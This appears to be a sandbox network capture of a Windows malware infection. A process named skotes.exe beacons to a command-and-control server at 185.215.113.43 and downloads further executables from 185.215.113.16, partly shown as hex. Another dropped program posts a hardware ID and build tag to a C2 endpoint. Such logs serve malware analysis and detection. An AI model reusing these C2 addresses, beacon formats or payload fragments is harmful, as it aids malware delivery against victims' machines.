Oct 31, 2024 03:04:28.042530060 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 02:04:27 GMT Content-Type: application/octet-stream Content-Length: 2145792 Last-Modified: Thu, 31 Oct 2024 02:01:49 GMT Connection: keep-alive ETag: "6722e50d-20be00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a2 62 9b 7d e6 03 f5 2e e6 03 f5 2e e6 03 f5 2e 89 75 5e 2e fe 03 f5 2e 89 75 6b 2e eb 03 f5 2e 89 75 5f 2e dc 03 f5 2e ef 7b 76 2e e5 03 f5 2e 66 7a f4 2f e4 03 f5 2e ef 7b 66 2e e1 03 f5 2e e6 03 f4 2e 89 03 f5 2e 89 75 5a 2e f4 03 f5 2e 89 75 68 2e e7 03 f5 2e 52 69 63 68 e6 03 f5 2e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 38 6e 1e 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 d0 01 00 00 dc 2c 00 00 00 00 00 00 f0 72 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 20 73 00 00 04 00 00 27 b8 21 00 02 00 40 80 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$b}...u^..uk..u_..{v..fz/.{f....uZ..uh..Rich.PEL8ng,r@ s'!@P.d. p.v@.rsrc .@.idata .@ 0*.@wcmalsokX@lajdpeqir @.taggant0r" @
Oct 31, 2024 03:04:28.042545080 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 31, 2024 03:04:28.042556047 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 31, 2024 03:04:28.042566061 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 31, 2024 03:04:28.042577028 CET	212	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 31, 2024 03:04:28.042589903 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: (8$pt
Oct 31, 2024 03:04:28.042651892 CET	12	IN	Data Raw: 7b 0c ba ab 01 db e5 41 78 d7 be c1 Data Ascii: {Ax
Oct 31, 2024 03:04:28.042857885 CET	1236	IN	Data Raw: bf 6e 8d c7 9d a5 29 35 99 3a 50 f3 56 08 c6 f2 2c b1 e4 f8 93 15 a3 9b 4b 2f ad 31 60 d1 b7 1a 0f 0e b2 40 49 8c 80 1f 21 91 5c ff b6 0c d8 6d 63 ab 80 a1 57 32 74 09 71 22 a4 48 07 1e 81 a7 a5 72 75 09 b0 2e de e8 71 36 fd 5e a2 59 05 37 59 91 Data Ascii: n)5:PV,K/1`@I!\mcW2tq"Hru.q6^Y7YEY-F9@^dT!s6"C.!RD011WUQ_CPXHVWo>3I0oo\][?<_K_Z\|\&;)$SXw
Oct 31, 2024 03:04:28.042869091 CET	212	IN	Data Raw: b3 19 bb 9b 2d 59 f6 2b 14 4d 13 30 56 95 c3 e9 0b 61 74 a8 84 b8 37 aa 63 b6 66 39 3a a0 aa e9 b7 19 df 28 d2 10 61 3f 81 b7 b5 a1 18 f6 b5 f1 2d 07 5f ec 88 92 45 d4 89 76 44 0f d8 bf f7 c2 4e 6e c7 19 9d 8c ff cf 89 48 84 35 28 5c ba 2b 55 27 Data Ascii: -Y+M0Vat7cf9:(a?-_EvDNnH5(\+U')Vhk`2iY(CBF]g?u8ISJEs4F;UmQm2&8s.M=cDen5.,,vKYUe p:`4c%""
Oct 31, 2024 03:04:28.042877913 CET	1236	IN	Data Raw: b2 5c ba 16 4d 36 de dd e9 2c 45 2b 71 1f 5d c3 80 c6 55 37 d7 2a bf 47 7e 54 a6 e8 91 1a 26 1f 6e 4e 10 c1 99 76 75 d3 82 e2 41 e6 58 1e d9 df d7 e6 a9 e7 ff 52 9f d6 d1 3c 80 4f 92 25 e1 e4 8a 7c 55 b8 a9 f6 bd 43 16 33 cd 0a 87 7a ac 27 8d 76 Data Ascii: \M6,E+q]U7*G~T&nNvuAXR<O%\|UC3z'v)4N~v.]J%vubA!P-e3Nw9'yu-%%'RW"]W[Z6Jpw6-%Y]7%E} =cvm8wz<?W0R/~9
Oct 31, 2024 03:04:28.047468901 CET	1236	IN	Data Raw: 63 25 87 bf b8 c3 36 cf c3 2f 9d ab 1a 25 2f 0c fe 7f 8d ed d3 36 7d 30 8a 8d ff 88 a9 52 ed 0a f3 23 e9 da e7 da 28 f8 e3 25 cc 01 89 5f 8d 2b 6b bd fa a0 bb 35 31 13 82 33 93 b6 1b 6c 96 f7 17 25 55 09 be 45 51 e9 77 2b 87 bf 97 25 21 09 97 45 Data Ascii: c%6/%/6}0R#(%_+k513l%UEQw+%!E!BT'p2%_>m7k~=;Qm(C%U"[wa;'?_V;0;4bZ%!:[0YbXa30wn+Lo;?5

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	63939	185.215.113.43	80	404	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 03:04:35.721277952 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 32 37 36 35 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1002765001&unit=246122658369
Oct 31, 2024 03:04:36.630203962 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 02:04:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	63946	185.215.113.16	80	404	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 03:04:36.643166065 CET	55	OUT	GET /well/random.exe HTTP/1.1 Host: 185.215.113.16
Oct 31, 2024 03:04:37.539694071 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 02:04:37 GMT Content-Type: application/octet-stream Content-Length: 919552 Last-Modified: Thu, 31 Oct 2024 01:43:19 GMT Connection: keep-alive ETag: "6722e0b7-e0800" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 af e0 22 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 58 04 00 00 00 00 00 77 05 02 00 00 10 00 00 00 c0 [TRUNCATED] Data Ascii: MZ@ !L!This program cannot be run in DOS mode.$j:j:Cj:@*n~{{{z{RichPEL"g"Xw@`U@@@d\|@(u4@.text `.rdata@@.datalpH@.rsrc(@@@.relocuv@B
Oct 31, 2024 03:04:37.539773941 CET	112	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b9 74 0a 4d 00 e8 38 fd 01 00 68 e9 23 44 00 e8 8f f0 01 00 59 c3 68 f3 23 44 00 Data Ascii: tM8h#DYh#DYh#DrYY<h
Oct 31, 2024 03:04:37.539807081 CET	1236	IN	Data Raw: fd 23 44 00 e8 61 f0 01 00 59 c3 51 e8 a9 00 00 00 68 02 24 44 00 e8 4f f0 01 00 59 c3 a1 30 14 4d 00 51 8b 40 04 05 30 14 4d 00 50 e8 e3 23 00 00 68 17 24 44 00 e8 2f f0 01 00 59 c3 e8 de 25 00 00 68 1c 24 44 00 e8 1e f0 01 00 59 c3 e8 ae e7 01 Data Ascii: #DaYQh$DOY0MQ@0MP#h$D/Y%h$DYh!$DYA2h&$DYPh0$DY%Mh?$DYVNNj(VYY^U80MtI3M0IMMVQfMo0
Oct 31, 2024 03:04:37.539885044 CET	1236	IN	Data Raw: c9 0f 85 75 10 04 00 33 db 89 5f dc 8b 4f c4 85 c9 0f 85 e3 01 00 00 8d 4f a4 89 5f cc e8 60 83 00 00 8d 8f 80 fe ff ff e8 0a 04 00 00 8d b7 64 fe ff ff 8b ce c7 06 3c c9 49 00 e8 88 02 00 00 ff 76 04 e8 bf e8 01 00 59 8d 8f 8c fd ff ff e8 1b 02 Data Ascii: u3_OO_`d<IvY\|#l)\DItvL@IY9TPTX<@IY9D@D.,@IY94
Oct 31, 2024 03:04:37.539921045 CET	1236	IN	Data Raw: eb f3 56 8b f1 8d 4e 20 e8 b2 b5 00 00 8b ce e8 ab b5 00 00 6a 40 56 e8 d0 e3 01 00 59 59 8b c6 5e c2 04 00 55 8b ec 53 8b d9 56 57 80 7b 0d 00 8b 7b 08 75 29 8b 45 08 8b cf 8b 30 e8 7e b5 00 00 89 37 c7 47 0c 01 00 00 00 8b 43 08 80 7b 0d 00 5f Data Ascii: VN j@VYY^USVW{{u)E0~7GC{_^[u@]8@83Md3f2MA4Mj8M<M@MPMfMMMXMDMHMLMUWrVj@YuO
Oct 31, 2024 03:04:37.539995909 CET	1236	IN	Data Raw: 01 00 00 74 1d 80 be 6d 01 00 00 00 8b 8e 68 01 00 00 75 1a 8b 49 04 8b 45 08 41 89 08 5e c9 c2 04 00 e8 6a 09 00 00 eb f4 8b 40 30 eb a8 8b 49 30 eb e1 e8 cd 00 00 00 84 c0 75 0c 8b ca e8 c2 00 00 00 84 c0 75 01 c3 b0 01 c3 55 8b ec 51 51 56 57 Data Ascii: tmhuIEA^j@0I0uuUQQVW}EPEEPWNx8OEfx3}dumhuIEA_^I0UeEeVEVPuuxMM3
Oct 31, 2024 03:04:37.540029049 CET	848	IN	Data Raw: 85 37 ff ff ff 83 39 12 0f 8c 5e 06 04 00 83 39 13 0f 8e fa 02 00 00 83 39 18 0f 8e 4c 06 04 00 83 39 1e 0f 8e 13 ff ff ff 83 39 21 0f 8e 3a 06 04 00 83 39 23 0f 8e fb fe ff ff e9 2c 06 04 00 83 f8 20 0f 8f ff 00 00 00 0f 84 1e 01 00 00 83 e8 14 Data Ascii: 79^99L99!:9#, rU]]EC}Pl]GpEUAjYf9HEHOlEuE{le
Oct 31, 2024 03:04:37.540066004 CET	1236	IN	Data Raw: 45 c8 0f 85 8f 00 00 00 8b 18 8d 8d 78 ff ff ff e8 f4 00 00 00 8b 85 7c ff ff ff 89 45 c8 8b 45 f0 85 c0 78 08 3b fb 0f 84 b9 fb ff ff 56 68 93 00 00 00 e9 36 03 04 00 8b 41 04 6a 7f 59 66 39 48 08 0f 85 e6 02 04 00 8b 55 f8 4a 4f 83 bd 60 ff ff Data Ascii: Ex\|EEx;Vh6AjYf9HUJO`UtFiEu?`dUEx;_Vjx]@i]@I2#@"*D#&@3&@0%@v&@'@B&@&@$@;$@UE;#M~#M
Oct 31, 2024 03:04:37.540133953 CET	1060	IN	Data Raw: ff 35 58 13 4d 00 ff d6 68 a4 00 00 00 ff 35 58 13 4d 00 a3 e0 13 4d 00 ff d6 68 a2 00 00 00 ff 35 58 13 4d 00 a3 e8 13 4d 00 ff d6 33 f6 a3 ec 13 4d 00 56 6a 10 6a 10 6a 01 6a 63 ff 35 58 13 4d 00 ff 15 a0 c5 49 00 8b 0d 58 13 4d 00 8b d0 a1 e0 Data Ascii: 5XMh5XMMh5XMM3MVjjjjc5XMIXMMEEPME0E#uuM}]uEIUEV1@0I5MfTM5MQv_^[VW5,I3W5XMWWjdh,PPhIPPWW5XMMj
Oct 31, 2024 03:04:37.540169001 CET	1236	IN	Data Raw: ee 02 50 8d 4d 90 e8 a8 00 00 00 39 1d 1c 14 4d 00 0f 84 8d fd 03 00 85 f6 0f 88 a5 fd 03 00 8b 4d 0c e8 f3 33 00 00 8d 4e 01 8b f8 51 6a 01 57 e8 4a 3a 00 00 83 c4 0c 89 75 e0 33 c0 89 5d e8 40 89 45 ec 53 50 8d 45 e0 50 57 e8 8f 40 00 00 83 c4 Data Ascii: PM9MM3NQjWJ:u3]@ESPEPW@Mt~5EPML?CESjPWf@MKEPM#;\|M"hM+M@_^[U;Q}BAM;t4!x]MhI:2VWw
Oct 31, 2024 03:04:37.544904947 CET	1236	IN	Data Raw: b0 23 4d 00 89 1d b4 23 4d 00 c7 05 b8 23 4d 00 44 c9 49 00 89 1d bc 23 4d 00 89 1d c0 23 4d 00 89 1d c4 23 4d 00 a3 c8 23 4d 00 89 1d cc 23 4d 00 89 1d d0 23 4d 00 89 1d d4 23 4d 00 89 1d dc 23 4d 00 c7 05 e0 23 4d 00 3c c9 49 00 89 1d e4 23 4d Data Ascii: #M#M#MDI#M#M#M#M#M#M#M#M#M<I#M#M#M#MfNtL$(>T$(0h(IL$,D$(#MPL$tL$mqD$3PjVhIhIL$cL$(c_^#M[]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	63947	185.215.113.206	80	3620	C:\Users\user\AppData\Local\Temp\1002765001\e90585a72a.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 03:04:36.648685932 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Oct 31, 2024 03:04:37.565493107 CET	203	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 02:04:37 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 31, 2024 03:04:37.569046974 CET	413	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CAFIJKFHIJKKEBGCFBFH Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 41 46 49 4a 4b 46 48 49 4a 4b 4b 45 42 47 43 46 42 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 31 33 42 36 31 37 32 45 44 33 41 39 32 31 32 37 33 37 30 37 38 35 0d 0a 2d 2d 2d 2d 2d 2d 43 41 46 49 4a 4b 46 48 49 4a 4b 4b 45 42 47 43 46 42 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 43 41 46 49 4a 4b 46 48 49 4a 4b 4b 45 42 47 43 46 42 46 48 2d 2d 0d 0a Data Ascii: ------CAFIJKFHIJKKEBGCFBFHContent-Disposition: form-data; name="hwid"13B6172ED3A92127370785------CAFIJKFHIJKKEBGCFBFHContent-Disposition: form-data; name="build"tale------CAFIJKFHIJKKEBGCFBFH--
Oct 31, 2024 03:04:37.858531952 CET	210	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 02:04:37 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	63964	185.215.113.16	80	6984	C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 03:04:40.068125963 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Oct 31, 2024 03:04:40.977725029 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 02:04:40 GMT Content-Type: application/octet-stream Content-Length: 2814976 Last-Modified: Thu, 31 Oct 2024 01:43:45 GMT Connection: keep-alive ETag: "6722e0d1-2af400" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 60 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 a0 2b 00 00 04 00 00 f6 66 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$`+ `@ +f+`Ui` @ @.rsrc`2@.idata 8@kddeprza*:@anjsayip @+@.taggant@`+"*@
Oct 31, 2024 03:04:40.977756023 CET	112	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 31, 2024 03:04:40.977808952 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 31, 2024 03:04:40.977861881 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 31, 2024 03:04:40.977897882 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 31, 2024 03:04:40.977953911 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 31, 2024 03:04:40.977988005 CET	848	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 31, 2024 03:04:40.978022099 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 31, 2024 03:04:40.978055954 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: \|Oi)~FdS%ctZt]{C"AW_~s]}"JQB%@LrNoF;o2WH<N6a^KJat8bdp~UzKi8kvN~Wch_K!?R?.iB>EzH`
Oct 31, 2024 03:04:40.978091002 CET	1236	IN	Data Raw: 2a 6f 49 65 5b bb 97 6d aa e6 f4 75 ef 3c c3 4d f0 b3 58 9d 92 b6 7e 87 9a 9b 3a c7 a0 cd 30 7b 9e e8 62 fc b9 de 61 73 81 d6 c8 33 a8 a7 81 11 06 65 61 fd a6 87 64 6f 51 9e 3b 24 04 8e 87 05 bd b1 8b 87 96 89 d8 1f e0 da 4c d7 88 18 0d 4a 30 43 Data Ascii: oIe[mu<MX~:0{bas3eadoQ;$LJ0Cbs}87B) h9s*ob=I/_Py/LvTj@,{#Aj)0_ )`li)++$YUg'v~6VDbe-K3a@NX:+I_1"bPWyz^g
Oct 31, 2024 03:04:40.983089924 CET	1236	IN	Data Raw: cd 9d 73 cb 7a 46 83 1d bc cc 7d 96 1c 33 65 1b a0 54 53 2d 47 5e 6b 8e 43 5b 19 01 02 6e 8e 49 51 e7 76 52 9d 9f fe 69 da d6 1e 2e 68 77 db 60 82 4e 8b ea 66 58 ad 60 84 4e 83 7a 1e 10 9a 33 82 94 7c 24 92 6f b8 85 35 ed e8 29 30 5b 4c 85 6a f0 Data Ascii: szF}3eTS-G^kC[nIQvRi.hw`NfX`Nz3\|$o5)0[Ljp\|5)^$[mTxYfD}pB:km`sk,WZiik~7J+\W{{pW*$p[juc_$~LR:HGyrm7G`dvt-
Oct 31, 2024 03:04:48.240076065 CET	204	OUT	GET /mine/random.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Oct 31, 2024 03:04:48.521254063 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 02:04:48 GMT Content-Type: application/octet-stream Content-Length: 1928704 Last-Modified: Thu, 31 Oct 2024 02:01:56 GMT Connection: keep-alive ETag: "6722e514-1d6e00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 9a 01 00 00 00 00 00 00 90 4c 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$-ICCC@CFBC6GC6@C6FCGCBCB5CxJCxCxACRichCPELVfL@L?@WkkLtkL @.rsrc@.idata @ p+@gwpiiybp` 2R@tdmstcssLH@.taggant0L"L@

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	63980	185.215.113.43	80	404	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 03:04:43.284260988 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 32 37 36 36 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1002766001&unit=246122658369
Oct 31, 2024 03:04:44.188523054 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 02:04:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

